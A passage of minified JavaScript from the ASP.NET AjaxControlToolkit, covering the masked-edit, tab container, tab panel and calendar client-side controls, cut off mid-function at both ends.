a=this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);return a[0].substring(0,1)}return ""},get_CultureFirstLetterPM:function(){if(this.get_CultureAMPMPlaceholder()!=""){var a=this.get_CultureAMPMPlaceholder().split(this._AMPMPlaceholderSeparator);return a[1].substring(0,1)}return ""},get_ClearMaskOnLostFocus:function(){return this._ClearMaskOnLostfocus},set_ClearMaskOnLostFocus:function(a){this._ClearMaskOnLostfocus=a;this.raisePropertyChanged("ClearMaskOnLostfocus")},get_MessageValidatorTip:function(){return this._MessageValidatorTip},set_MessageValidatorTip:function(a){this._MessageValidatorTip=a;this.raisePropertyChanged("MessageValidatorTip")},get_AcceptAMPM:function(){return this._AcceptAmPm},set_AcceptAMPM:function(a){this._AcceptAmPm=a;this.raisePropertyChanged("AcceptAmPm")},get_AcceptNegative:function(){return this._AcceptNegative},set_AcceptNegative:function(a){this._AcceptNegative=a;this.raisePropertyChanged("AcceptNegative")},get_DisplayMoney:function(){return this._DisplayMoney},set_DisplayMoney:function(a){this._DisplayMoney=a;this.raisePropertyChanged("DisplayMoney")},get_OnFocusCssNegative:function(){return this._OnFocusCssNegative},set_OnFocusCssNegative:function(a){this._OnFocusCssNegative=a;this.raisePropertyChanged("OnFocusCssNegative")},get_OnBlurCssNegative:function(){return this._OnBlurCssNegative},set_OnBlurCssNegative:function(a){this._OnBlurCssNegative=a;this.raisePropertyChanged("OnBlurCssNegative")},get_Century:function(){return this._Century},set_Century:function(a){this._Century=a;this.raisePropertyChanged("Century")},get_AutoComplete:function(){return this._AutoComplete},set_AutoComplete:function(a){this._AutoComplete=a;this.raisePropertyChanged("AutoComplete")},get_AutoCompleteValue:function(){return this._AutoCompleteValue},set_AutoCompleteValue:function(a){this._AutoCompleteValue=a;this.raisePropertyChanged("AutoCompleteValue")},get_MaskType:function(){return this._MaskType},set_MaskType:function(a){this._MaskType=a;this.raisePropertyChanged("MaskType")},get_ClearTextOnInvalid:function(){return this._ClearTextOnInvalid},set_ClearTextOnInvalid:function(a){if(this._ClearTextOnInvalid!==a){this._ClearTextOnInvalid=a;this.raisePropertyChanged("ClearTextOnInvalid")}},get_ClipboardText:function(){return this._ClipboardText},set_ClipboardText:function(a){this._ClipboardText=a;this.raisePropertyChanged("ClipboardText")},get_ClipboardEnabled:function(){return this._AllowCopyPaste},set_ClipboardEnabled:function(a){this._AllowCopyPaste=a;this.raisePropertyChanged("ClipboardEnabled")},get_ErrorTooltipEnabled:function(){return this._ShowMessageErrorFloat},set_ErrorTooltipEnabled:function(a){this._ShowMessageErrorFloat=a;this.raisePropertyChanged("ErrorTooltipEnabled")},get_ErrorTooltipCssClass:function(){return this._CssMessageErrorFloat},set_ErrorTooltipCssClass:function(a){this._CssMessageErrorFloat=a;this.raisePropertyChanged("ErrorTooltipCssClass")},get_UserDateFormat:function(){return this._UserDateFormat},set_UserDateFormat:function(a){this._UserDateFormat=a;this.raisePropertyChanged("UserDateFormat")},get_UserTimeFormat:function(){return this._UserTimeFormat},set_UserTimeFormat:function(a){this._UserTimeFormat=a;this.raisePropertyChanged("UserTimeFormat")}};AjaxControlToolkit.MaskedEditBehavior.registerClass("AjaxControlToolkit.MaskedEditBehavior",AjaxControlToolkit.DynamicPopulateBehaviorBase);AjaxControlToolkit.MaskedEditType=function(){throw Error.invalidOperation();};AjaxControlToolkit.MaskedEditInputDirections=function(){throw Error.invalidOperation();};AjaxControlToolkit.MaskedEditShowSymbol=function(){throw Error.invalidOperation();};AjaxControlToolkit.MaskedEditUserDateFormat=function(){throw Error.invalidOperation();};AjaxControlToolkit.MaskedEditUserTimeFormat=function(){throw Error.invalidOperation();};AjaxControlToolkit.MaskedEditType.prototype={None:0,Date:1,Number:2,Time:3,DateTime:4};AjaxControlToolkit.MaskedEditInputDirections.prototype={LeftToRight:0,RightToLeft:1};AjaxControlToolkit.MaskedEditShowSymbol.prototype={None:0,Left:1,Right:2};AjaxControlToolkit.MaskedEditUserDateFormat.prototype={None:0,DayMonthYear:1,DayYearMonth:2,MonthDayYear:3,MonthYearDay:4,YearDayMonth:5,YearMonthDay:6};AjaxControlToolkit.MaskedEditUserTimeFormat.prototype={None:0,TwentyFourHour:1};AjaxControlToolkit.MaskedEditType.registerEnum("AjaxControlToolkit.MaskedEditType");AjaxControlToolkit.MaskedEditInputDirections.registerEnum("AjaxControlToolkit.MaskedEditInputDirections");AjaxControlToolkit.MaskedEditShowSymbol.registerEnum("AjaxControlToolkit.MaskedEditShowSymbol");AjaxControlToolkit.MaskedEditUserDateFormat.registerEnum("AjaxControlToolkit.MaskedEditUserDateFormat");AjaxControlToolkit.MaskedEditUserTimeFormat.registerEnum("AjaxControlToolkit.MaskedEditUserTimeFormat");�1Type.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.ScrollBars=function(){};AjaxControlToolkit.ScrollBars.prototype={None:0,Horizontal:1,Vertical:2,Both:3,Auto:4};AjaxControlToolkit.ScrollBars.registerEnum("AjaxControlToolkit.ScrollBars",true);AjaxControlToolkit.TabContainer=function(c){var b=null,a=this;AjaxControlToolkit.TabContainer.initializeBase(a,[c]);a._cachedActiveTabIndex=-1;a._activeTabIndex=-1;a._scrollBars=AjaxControlToolkit.ScrollBars.None;a._tabs=b;a._header=b;a._body=b;a._loaded=false;a._autoPostBackId=b;a._app_onload$delegate=Function.createDelegate(a,a._app_onload)};AjaxControlToolkit.TabContainer.prototype={add_activeTabChanged:function(a){this.get_events().addHandler("activeTabChanged",a)},remove_activeTabChanged:function(a){this.get_events().removeHandler("activeTabChanged",a)},raiseActiveTabChanged:function(){var a=this,b=a.get_events().getHandler("activeTabChanged");b&&b(a,Sys.EventArgs.Empty);a._autoPostBackId&&__doPostBack(a._autoPostBackId,"activeTabChanged:"+a.get_activeTabIndex())},get_activeTabIndex:function(){if(this._cachedActiveTabIndex>-1)return this._cachedActiveTabIndex;return this._activeTabIndex},set_activeTabIndex:function(c){var a=this,b=c;if(!a.get_isInitialized())a._cachedActiveTabIndex=b;else{if(b<-1)throw Error.argumentOutOfRange("value");if(b>=a.get_tabs().length)b=a.get_tabs().length-1;a._activeTabIndex!=-1&&a.get_tabs()[a._activeTabIndex]._set_active(false);var d=a._activeTabIndex!=b;a._activeTabIndex=b;a._activeTabIndex!=-1&&a.get_tabs()[a._activeTabIndex]._set_active(true);a._loaded&&d&&a.raiseActiveTabChanged();a.raisePropertyChanged("activeTabIndex")}},get_tabs:function(){if(this._tabs==null)this._tabs=[];return this._tabs},get_activeTab:function(){if(this._activeTabIndex>-1)return this.get_tabs()[this._activeTabIndex];return null},set_activeTab:function(b){var a=Array.indexOf(this.get_tabs(),b);if(a==-1)throw Error.argument("value",AjaxControlToolkit.Resources.Tabs_ActiveTabArgumentOutOfRange);this.set_activeTabIndex(a)},get_autoPostBackId:function(){return this._autoPostBackId},set_autoPostBackId:function(a){this._autoPostBackId=a},get_scrollBars:function(){return this._scrollBars},set_scrollBars:function(b){var a=this;if(a._scrollBars!=b){a._scrollBars=b;a._invalidate();a.raisePropertyChanged("scrollBars")}},initialize:function(){var a=this;AjaxControlToolkit.TabContainer.callBaseMethod(a,"initialize");var d=a.get_element(),b=a._header=$get(a.get_id()+"_header"),c=a._body=$get(a.get_id()+"_body");$common.addCssClasses(d,["ajax__tab_container","ajax__tab_default"]);Sys.UI.DomElement.addCssClass(b,"ajax__tab_header");Sys.UI.DomElement.addCssClass(c,"ajax__tab_body");a._invalidate();Sys.Application.add_load(a._app_onload$delegate)},dispose:function(){Sys.Application.remove_load(this._app_onload$delegate);AjaxControlToolkit.TabContainer.callBaseMethod(this,"dispose")},getFirstTab:function(c){for(var b=this.get_tabs(),a=0;a<b.length;a++)if(c||b[a].get_enabled())return b[a];return null},getLastTab:function(c){for(var b=this.get_tabs(),a=b.length-1;a>=0;a--)if(c||b[a].get_enabled())return b[a];return null},getNextTab:function(d){for(var a=this.get_tabs(),f=this.get_activeTabIndex(),b=1;b<a.length;b++){var e=(f+b)%a.length,c=a[e];if(d||c.get_enabled())return c}return null},getPreviousTab:function(d){for(var a=this.get_tabs(),f=this.get_activeTabIndex(),b=1;b<a.length;b++){var e=(a.length+(f-b))%a.length,c=a[e];if(d||c.get_enabled())return c}return null},getNearestTab:function(d){var a=this,c=a.getPreviousTab(d),b=a.getNextTab(d);if(c&&c.get_tabIndex()<a._activeTabIndex)return c;else if(b&&b.get_tabIndex()>a._activeTabIndex)return b;return null},saveClientState:function(){for(var c=this.get_tabs(),b=[],a=0;a<c.length;a++)Array.add(b,c[a].get_enabled());var d={ActiveTabIndex:this._activeTabIndex,TabState:b};return Sys.Serialization.JavaScriptSerializer.serialize(d)},_invalidate:function(){var e="ajax__scroll_auto",d="ajax__scroll_both",c="ajax__scroll_vert",b="ajax__scroll_horiz",a=this;if(a.get_isInitialized()){$common.removeCssClasses(a._body,[b,c,d,e]);switch(a._scrollBars){case AjaxControlToolkit.ScrollBars.Horizontal:Sys.UI.DomElement.addCssClass(a._body,b);break;case AjaxControlToolkit.ScrollBars.Vertical:Sys.UI.DomElement.addCssClass(a._body,c);break;case AjaxControlToolkit.ScrollBars.Both:Sys.UI.DomElement.addCssClass(a._body,d);break;case AjaxControlToolkit.ScrollBars.Auto:Sys.UI.DomElement.addCssClass(a._body,e)}}},_app_onload:function(){var a=this;if(a._cachedActiveTabIndex!=-1){a.set_activeTabIndex(a._cachedActiveTabIndex);a._cachedActiveTabIndex=-1}a._loaded=true}};AjaxControlToolkit.TabContainer.registerClass("AjaxControlToolkit.TabContainer",AjaxControlToolkit.ControlBase);AjaxControlToolkit.TabPanel=function(c){var b=null,a=this;AjaxControlToolkit.TabPanel.initializeBase(a,[c]);a._active=false;a._tab=b;a._headerOuter=b;a._headerInner=b;a._header=b;a._owner=b;a._ownerID=b;a._enabled=true;a._tabIndex=-1;a._dynamicContextKey=b;a._dynamicServicePath=b;a._dynamicServiceMethod=b;a._dynamicPopulateBehavior=b;a._scrollBars=AjaxControlToolkit.ScrollBars.None;a._header_onclick$delegate=Function.createDelegate(a,a._header_onclick);a._header_onmouseover$delegate=Function.createDelegate(a,a._header_onmouseover);a._header_onmouseout$delegate=Function.createDelegate(a,a._header_onmouseout);a._header_onmousedown$delegate=Function.createDelegate(a,a._header_onmousedown);a._dynamicPopulate_onpopulated$delegate=Function.createDelegate(a,a._dynamicPopulate_onpopulated);a._oncancel$delegate=Function.createDelegate(a,a._oncancel)};AjaxControlToolkit.TabPanel.prototype={add_click:function(a){this.get_events().addHandler("click",a)},remove_click:function(a){this.get_events().removeHandler("click",a)},raiseClick:function(){var a=this.get_events().getHandler("click");a&&a(this,Sys.EventArgs.Empty)},add_populating:function(a){this.get_events().addHandler("populating",a)},remove_populating:function(a){this.get_events().removeHandler("populating",a)},raisePopulating:function(){var a=this.get_events().getHandler("populating");a&&a(this,Sys.EventArgs.Empty)},add_populated:function(a){this.get_events().addHandler("populated",a)},remove_populated:function(a){this.get_events().removeHandler("populated",a)},raisePopulated:function(){var a=this.get_events().getHandler("populated");a&&a(this,Sys.EventArgs.Empty)},get_headerText:function(){if(this.get_isInitialized())return this._header.innerHTML;return ""},set_headerText:function(c){var b="headerText",a=this;if(!a.get_isInitialized())throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetBeforeInitialization,b));if(a.get_headerText()!=c){a._header.innerHTML=c;a.raisePropertyChanged(b)}},get_headerTab:function(){return this._header},set_headerTab:function(b){var a=this;if(a._header!=b){if(a.get_isInitialized())throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetAfterInitialization,"headerTab"));a._header=b;a.raisePropertyChanged("value")}},get_enabled:function(){return this._enabled},set_enabled:function(b){var a=this;if(b!=a._enabled){a._enabled=b;a.get_isInitialized()&&a._makeEnabled(a._enabled);a.raisePropertyChanged("enabled")}},get_owner:function(){return this._owner},set_owner:function(b){var a=this;if(a._owner!=b){if(a.get_isInitialized())throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetAfterInitialization,"owner"));a._owner=b;a.raisePropertyChanged("owner")}},get_ownerID:function(){return this._ownerID},set_ownerID:function(a){this._ownerID=a},get_scrollBars:function(){return this._scrollBars},set_scrollBars:function(a){if(this._scrollBars!=a){this._scrollBars=a;this.raisePropertyChanged("scrollBars")}},get_tabIndex:function(){return this._tabIndex},get_dynamicContextKey:function(){return this._dynamicContextKey},set_dynamicContextKey:function(a){if(this._dynamicContextKey!=a){this._dynamicContextKey=a;this.raisePropertyChanged("dynamicContextKey")}},get_dynamicServicePath:function(){return this._dynamicServicePath},set_dynamicServicePath:function(a){if(this._dynamicServicePath!=a){this._dynamicServicePath=a;this.raisePropertyChanged("dynamicServicePath")}},get_dynamicServiceMethod:function(){return this._dynamicServiceMethod},set_dynamicServiceMethod:function(a){if(this._dynamicServiceMethod!=a){this._dynamicServiceMethod=a;this.raisePropertyChanged("dynamicServiceMethod")}},_get_active:function(){return this._active},_set_active:function(a){this._active=a;if(a)this._activate();else this._deactivate()},initialize:function(){var c="span",a=this,b=a.get_owner();if(!b){b=$find(a.get_ownerID());if(b){b.initialize();a.set_owner(b)}}AjaxControlToolkit.TabPanel.callBaseMethod(a,"initialize");if(!b)throw Error.invalidOperation(AjaxControlToolkit.Resources.Tabs_OwnerExpected);a._tabIndex=b.get_tabs().length;Array.add(b.get_tabs(),a);var e=a.get_id()+"_tab";a._tab=document.getElementById(e);var d=a._tab!=null;if(!d){a._headerOuterWrapper=document.createElement(c);a._headerInnerWrapper=document.createElement(c);a._tab=document.createElement(c);a._tab.id=e;a._header.parentNode.replaceChild(a._tab,a._header);a._tab.appendChild(a._headerOuterWrapper);a._headerOuterWrapper.appendChild(a._headerInnerWrapper);a._headerInnerWrapper.appendChild(a._header)}$addHandlers(a._header,{mousedown:a._header_onmousedown$delegate,dragstart:a._oncancel$delegate,selectstart:a._oncancel$delegate,select:a._oncancel$delegate});if(a._enabled)a._addHandlersOnEnabled();else Sys.UI.DomElement.addCssClass(a._tab,"ajax__tab_disabled");if(!d){Sys.UI.DomElement.addCssClass(a._headerOuterWrapper,"ajax__tab_outer");Sys.UI.DomElement.addCssClass(a._headerInnerWrapper,"ajax__tab_inner");Sys.UI.DomElement.addCssClass(a._header,"ajax__tab_tab");Sys.UI.DomElement.addCssClass(a.get_element(),"ajax__tab_panel")}},dispose:function(){var a=this;if(a._dynamicPopulateBehavior){a._dynamicPopulateBehavior.dispose();a._dynamicPopulateBehavior=null}$common.removeHandlers(a._header,{mousedown:a._header_onmousedown$delegate,dragstart:a._oncancel$delegate,selectstart:a._oncancel$delegate,select:a._oncancel$delegate});a._enabled&&a._removeHandlersOnEnabled();AjaxControlToolkit.TabPanel.callBaseMethod(a,"dispose")},_addHandlersOnEnabled:function(){var a=this;$addHandlers(a._header,{click:a._header_onclick$delegate,mouseover:a._header_onmouseover$delegate,mouseout:a._header_onmouseout$delegate})},_removeHandlersOnEnabled:function(){var a=this;$common.removeHandlers(a._header,{click:a._header_onclick$delegate,mouseover:a._header_onmouseover$delegate,mouseout:a._header_onmouseout$delegate})},populate:function(b){var a=this;if(a._dynamicPopulateBehavior&&a._dynamicPopulateBehavior.get_element()!=a.get_element()){a._dynamicPopulateBehavior.dispose();a._dynamicPopulateBehavior=null}if(!a._dynamicPopulateBehavior&&a._dynamicServiceMethod)a._dynamicPopulateBehavior=$create(AjaxControlToolkit.DynamicPopulateBehavior,{ContextKey:a._dynamicContextKey,ServicePath:a._dynamicServicePath,ServiceMethod:a._dynamicServiceMethod},{populated:a._dynamicPopulate_onpopulated$delegate},null,a.get_element());if(a._dynamicPopulateBehavior){a.raisePopulating();a._dynamicPopulateBehavior.populate(b?b:a._dynamicContextKey)}},_activate:function(){var a=this;if(a._enabled){var c=a.get_element();$common.setVisible(c,true);Sys.UI.DomElement.addCssClass(a._tab,"ajax__tab_active");a.populate()}else if(a._get_active()){var b=a._owner.getNearestTab(false);!!b&&a._owner.set_activeTab(b)}a._owner.get_element().style.visibility="visible"},_deactivate:function(){var a=this.get_element();$common.setVisible(a,false);Sys.UI.DomElement.removeCssClass(this._tab,"ajax__tab_active")},_show:function(){this._tab.style.display=""},_hide:function(){var a=this;a._tab.style.display="none";if(a._get_active()){var b=a._owner.getNearestTab(false);!!b&&a._owner.set_activeTab(b)}a._deactivate()},_makeEnabled:function(d){var b="ajax__tab_disabled",a=this;if(d){a._addHandlersOnEnabled();Sys.UI.DomElement.removeCssClass(a._tab,b)}else{a._removeHandlersOnEnabled();if(a._get_active()){var c=a._owner.getNearestTab(false);!!c&&a._owner.set_activeTab(c)}a._deactivate();Sys.UI.DomElement.addCssClass(a._tab,b)}},_header_onclick:function(){this.raiseClick();this.get_owner().set_activeTab(this)},_header_onmouseover:function(){Sys.UI.DomElement.addCssClass(this._tab,"ajax__tab_hover")},_header_onmouseout:function(){Sys.UI.DomElement.removeCssClass(this._tab,"ajax__tab_hover")},_header_onmousedown:function(a){a.preventDefault()},_oncancel:function(a){a.stopPropagation();a.preventDefault()},_dynamicPopulate_onpopulated:function(){this.raisePopulated()}};AjaxControlToolkit.TabPanel.registerClass("AjaxControlToolkit.TabPanel",Sys.UI.Control);�mType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.CalendarBehavior=function(d){var c=false,b=null,a=this;AjaxControlToolkit.CalendarBehavior.initializeBase(a,[d]);a._textbox=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(d);a._format="d";a._todaysDateFormat="MMMM d, yyyy";a._daysModeTitleFormat="MMMM, yyyy";a._cssClass="ajax__calendar";a._enabled=true;a._animated=true;a._buttonID=b;a._layoutRequested=0;a._layoutSuspended=c;a._button=b;a._popupMouseDown=c;a._selectedDate=b;a._visibleDate=b;a._todaysDate=b;a._firstDayOfWeek=AjaxControlToolkit.FirstDayOfWeek.Default;a._firstPopUp=true;a._container=b;a._popupDiv=b;a._header=b;a._prevArrow=b;a._nextArrow=b;a._title=b;a._body=b;a._today=b;a._days=b;a._daysTable=b;a._daysTableHeader=b;a._daysTableHeaderRow=b;a._daysBody=b;a._months=b;a._monthsTable=b;a._monthsBody=b;a._years=b;a._yearsTable=b;a._yearsBody=b;a._popupPosition=AjaxControlToolkit.CalendarPosition.BottomLeft;a._defaultView=AjaxControlToolkit.CalendarDefaultView.Days;a._popupBehavior=b;a._modeChangeAnimation=b;a._modeChangeMoveTopOrLeftAnimation=b;a._modeChangeMoveBottomOrRightAnimation=b;a._mode="days";a._selectedDateChanging=c;a._isOpen=c;a._isAnimating=c;a._clearTime=c;a._width=170;a._height=139;a._modes={days:b,months:b,years:b};a._modeOrder={days:0,months:1,years:2};a._hourOffsetForDst=12;a._blur=new AjaxControlToolkit.DeferredOperation(1,a,a.blur);a._button$delegates={click:Function.createDelegate(a,a._button_onclick),keypress:Function.createDelegate(a,a._button_onkeypress),blur:Function.createDelegate(a,a._button_onblur)};a._element$delegates={change:Function.createDelegate(a,a._element_onchange),keypress:Function.createDelegate(a,a._element_onkeypress),click:Function.createDelegate(a,a._element_onclick),focus:Function.createDelegate(a,a._element_onfocus),blur:Function.createDelegate(a,a._element_onblur)};a._popup$delegates={mousedown:Function.createDelegate(a,a._popup_onmousedown),mouseup:Function.createDelegate(a,a._popup_onmouseup),drag:Function.createDelegate(a,a._popup_onevent),dragstart:Function.createDelegate(a,a._popup_onevent),select:Function.createDelegate(a,a._popup_onevent)};a._cell$delegates={mouseover:Function.createDelegate(a,a._cell_onmouseover),mouseout:Function.createDelegate(a,a._cell_onmouseout),click:Function.createDelegate(a,a._cell_onclick)}};AjaxControlToolkit.CalendarBehavior.prototype={get_clearTime:function(){return this._clearTime},set_clearTime:function(a){if(this._clearTime!=a){this._clearTime=a;this.raisePropertyChanged("_clearTime")}},get_animated:function(){return this._animated},set_animated:function(a){if(this._animated!=a){this._animated=a;this.raisePropertyChanged("animated")}},get_enabled:function(){return this._enabled},set_enabled:function(a){if(this._enabled!=a){this._enabled=a;this.raisePropertyChanged("enabled")}},get_button:function(){return this._button},set_button:function(b){var a=this;if(a._button!=b){a._button&&a.get_isInitialized()&&$common.removeHandlers(a._button,a._button$delegates);a._button=b;a._button&&a.get_isInitialized()&&$addHandlers(a._button,a._button$delegates);a.raisePropertyChanged("button")}},get_popupPosition:function(){return this._popupPosition},set_popupPosition:function(a){if(this._popupPosition!=a){this._popupPosition=a;this.raisePropertyChanged("popupPosition")}},get_format:function(){return this._format},set_format:function(a){if(this._format!=a){this._format=a;this.raisePropertyChanged("format")}},get_todaysDateFormat:function(){return this._todaysDateFormat},set_todaysDateFormat:function(a){if(this._todaysDateFormat!=a){this._todaysDateFormat=a;this.raisePropertyChanged("todaysDateFormat")}},get_daysModeTitleFormat:function(){return this._daysModeTitleFormat},set_daysModeTitleFormat:function(a){if(this._daysModeTitleFormat!=a){this._daysModeTitleFormat=a;this.raisePropertyChanged("daysModeTitleFormat")}},get_selectedDate:function(){var a=this;if(a._selectedDate==null){var b=a._textbox.get_Value();if(b){b=a._parseTextValue(b);if(b)a._selectedDate=b.getDateOnly()}}return a._selectedDate},set_selectedDate:function(b){var a=this;if(b&&String.isInstanceOfType(b)&&b.length!=0)b=new Date(b);if(b)b=b.getDateOnly();if(a._selectedDate!=b){a._selectedDate=b;a._selectedDateChanging=true;var d="";if(b){d=b.localeFormat(a._format);if(!a._clearTime){var c=a._textbox.get_Value();if(c)c=a._parseTextValue(c);if(c)if(b!=c.getDateOnly())d=b.add(c.getTimeOfDay()).localeFormat(a._format)}}if(d!=a._textbox.get_Value()){a._textbox.set_Value(d);a._fireChanged()}a._selectedDateChanging=false;a.invalidate();a.raisePropertyChanged("selectedDate")}},get_defaultView:function(){return this._defaultView},set_defaultView:function(a){if(this._defaultView!=a){this._defaultView=a;this.raisePropertyChanged("defaultView")}},get_visibleDate:function(){return this._visibleDate},set_visibleDate:function(a){var b=this;if(a)a=a.getDateOnly();if(b._visibleDate!=a){b._switchMonth(a,!b._isOpen);b.raisePropertyChanged("visibleDate")}},get_isOpen:function(){return this._isOpen},get_todaysDate:function(){if(this._todaysDate!=null)return this._todaysDate;return (new Date).getDateOnly()},set_todaysDate:function(a){var b=this;if(a)a=a.getDateOnly();if(b._todaysDate!=a){b._todaysDate=a;b.invalidate();b.raisePropertyChanged("todaysDate")}},get_firstDayOfWeek:function(){return this._firstDayOfWeek},set_firstDayOfWeek:function(b){var a=this;if(a._firstDayOfWeek!=b){a._firstDayOfWeek=b;a.invalidate();a.raisePropertyChanged("firstDayOfWeek")}},get_cssClass:function(){return this._cssClass},set_cssClass:function(b){var a=this;if(a._cssClass!=b){a._cssClass&&a.get_isInitialized()&&Sys.UI.DomElement.removeCssClass(a._container,a._cssClass);a._cssClass=b;a._cssClass&&a.get_isInitialized()&&Sys.UI.DomElement.addCssClass(a._container,a._cssClass);a.raisePropertyChanged("cssClass")}},get_todayButton:function(){return this._today},get_dayCell:function(b,a){if(this._daysBody)return this._daysBody.rows[b].cells[a].firstChild;return null},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(){var a=this.get_events().getHandler("shown");a&&a(this,Sys.EventArgs.Empty)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(){var a=this.get_events().getHandler("hidden");a&&a(this,Sys.EventArgs.Empty)},add_dateSelectionChanged:function(a){this.get_events().addHandler("dateSelectionChanged",a)},remove_dateSelectionChanged:function(a){this.get_events().removeHandler("dateSelectionChanged",a)},raiseDateSelectionChanged:function(){var a=this.get_events().getHandler("dateSelectionChanged");a&&a(this,Sys.EventArgs.Empty)},initialize:function(){var b=null,a=this;AjaxControlToolkit.CalendarBehavior.callBaseMethod(a,"initialize");var d=a.get_element();$addHandlers(d,a._element$delegates);a._button&&$addHandlers(a._button,a._button$delegates);a._modeChangeMoveTopOrLeftAnimation=new AjaxControlToolkit.Animation.LengthAnimation(b,b,b,"style",b,0,0,"px");a._modeChangeMoveBottomOrRightAnimation=new AjaxControlToolkit.Animation.LengthAnimation(b,b,b,"style",b,0,0,"px");a._modeChangeAnimation=new AjaxControlToolkit.Animation.ParallelAnimation(b,.25,b,[a._modeChangeMoveTopOrLeftAnimation,a._modeChangeMoveBottomOrRightAnimation]);var c=a.get_selectedDate();c&&a.set_selectedDate(c)},dispose:function(){var b=null,a=this;if(a._popupBehavior){a._popupBehavior.dispose();a._popupBehavior=b}a._modes=b;a._modeOrder=b;if(a._modeChangeMoveTopOrLeftAnimation){a._modeChangeMoveTopOrLeftAnimation.dispose();a._modeChangeMoveTopOrLeftAnimation=b}if(a._modeChangeMoveBottomOrRightAnimation){a._modeChangeMoveBottomOrRightAnimation.dispose();a._modeChangeMoveBottomOrRightAnimation=b}if(a._modeChangeAnimation){a._modeChangeAnimation.dispose();a._modeChangeAnimation=b}if(a._container){a._container.parentNode&&a._container.parentNode.removeChild(a._container);a._container=b}if(a._popupDiv){$common.removeHandlers(a._popupDiv,a._popup$delegates);a._popupDiv=b}if(a._prevArrow){$common.removeHandlers(a._prevArrow,a._cell$delegates);a._prevArrow=b}if(a._nextArrow){$common.removeHandlers(a._nextArrow,a._cell$delegates);a._nextArrow=b}if(a._title){$common.removeHandlers(a._title,a._cell$delegates);a._title=b}if(a._today){$common.removeHandlers(a._today,a._cell$delegates);a._today=b}if(a._button){$common.removeHandlers(a._button,a._button$delegates);a._button=b}if(a._daysBody){for(var c=0;c<a._daysBody.rows.length;c++)for(var e=a._daysBody.rows[c],d=0;d<e.cells.length;d++)$common.removeHandlers(e.cells[d].firstChild,a._cell$delegates);a._daysBody=b}if(a._monthsBody){for(var c=0;c<a._monthsBody.rows.length;c++)for(var e=a._monthsBody.rows[c],d=0;d<e.cells.length;d++)$common.removeHandlers(e.cells[d].firstChild,a._cell$delegates);a._monthsBody=b}if(a._yearsBody){for(var c=0;c<a._yearsBody.rows.length;c++)for(var e=a._yearsBody.rows[c],d=0;d<e.cells.length;d++)$common.removeHandlers(e.cells[d].firstChild,a._cell$delegates);a._yearsBody=b}var f=a.get_element();$common.removeHandlers(f,a._element$delegates);AjaxControlToolkit.CalendarBehavior.callBaseMethod(a,"dispose")},show:function(){var b=true,a=this;a._ensureCalendar();if(!a._isOpen){var c=new Sys.CancelEventArgs;a.raiseShowing(c);if(c.get_cancel())return;a._isOpen=b;a._popupBehavior.show();if(a._firstPopUp){a._switchMonth(null,b);switch(a._defaultView){case AjaxControlToolkit.CalendarDefaultView.Months:a._switchMode("months",b);break;case AjaxControlToolkit.CalendarDefaultView.Years:a._switchMode("years",b)}a._firstPopUp=false}a.raiseShown()}},hide:function(){var a=this;if(a._isOpen){var b=new Sys.CancelEventArgs;a.raiseHiding(b);if(b.get_cancel())return;a._container&&a._popupBehavior.hide();a._isOpen=false;a.raiseHidden();a._popupMouseDown=false}},focus:function(){if(this._button)this._button.focus();else this.get_element().focus()},blur:function(b){var a=this;if(!b&&Sys.Browser.agent===Sys.Browser.Opera)a._blur.post(true);else{!a._popupMouseDown&&a.hide();a._popupMouseDown=false}},suspendLayout:function(){this._layoutSuspended++},resumeLayout:function(){var a=this;a._layoutSuspended--;if(a._layoutSuspended<=0){a._layoutSuspended=0;a._layoutRequested&&a._performLayout()}},invalidate:function(){if(this._layoutSuspended>0)this._layoutRequested=true;else this._performLayout()},_buildCalendar:function(){var a=this,c=a.get_element(),b=a.get_id();a._container=$common.createElementFromTemplate({nodeName:"div",properties:{id:b+"_container"},cssClasses:[a._cssClass],visible:false},c.parentNode);a._popupDiv=$common.createElementFromTemplate({nodeName:"div",events:a._popup$delegates,properties:{id:b+"_popupDiv"},cssClasses:["ajax__calendar_container"]},a._container)},_buildHeader:function(){var b="div",a=this,c=a.get_id();a._header=$common.createElementFromTemplate({nodeName:b,properties:{id:c+"_header"},cssClasses:["ajax__calendar_header"]},a._popupDiv);var e=$common.createElementFromTemplate({nodeName:b},a._header);a._prevArrow=$common.createElementFromTemplate({nodeName:b,properties:{id:c+"_prevArrow",mode:"prev"},events:a._cell$delegates,cssClasses:["ajax__calendar_prev"]},e);var d=$common.createElementFromTemplate({nodeName:b},a._header);a._nextArrow=$common.createElementFromTemplate({nodeName:b,properties:{id:c+"_nextArrow",mode:"next"},events:a._cell$delegates,cssClasses:["ajax__calendar_next"]},d);var f=$common.createElementFromTemplate({nodeName:b},a._header);a._title=$common.createElementFromTemplate({nodeName:b,properties:{id:c+"_title",mode:"title"},events:a._cell$delegates,cssClasses:["ajax__calendar_title"]},f)},_buildBody:function(){var a=this;a._body=$common.createElementFromTemplate({nodeName:"div",properties:{id:a.get_id()+"_body"},cssClasses:["ajax__calendar_body"]},a._popupDiv);a._buildDays();a._buildMonths();a._buildYears()},_buildFooter:function(){var a=this,b=$common.createElementFromTemplate({nodeName:"div"},a._popupDiv);a._today=$common.createElementFromTemplate({nodeName:"div",properties:{id:a.get_id()+"_today",mode:"today"},events:a._cell$delegates,cssClasses:["ajax__calendar_footer","ajax__calendar_today"]},b)},_buildDays:function(){var 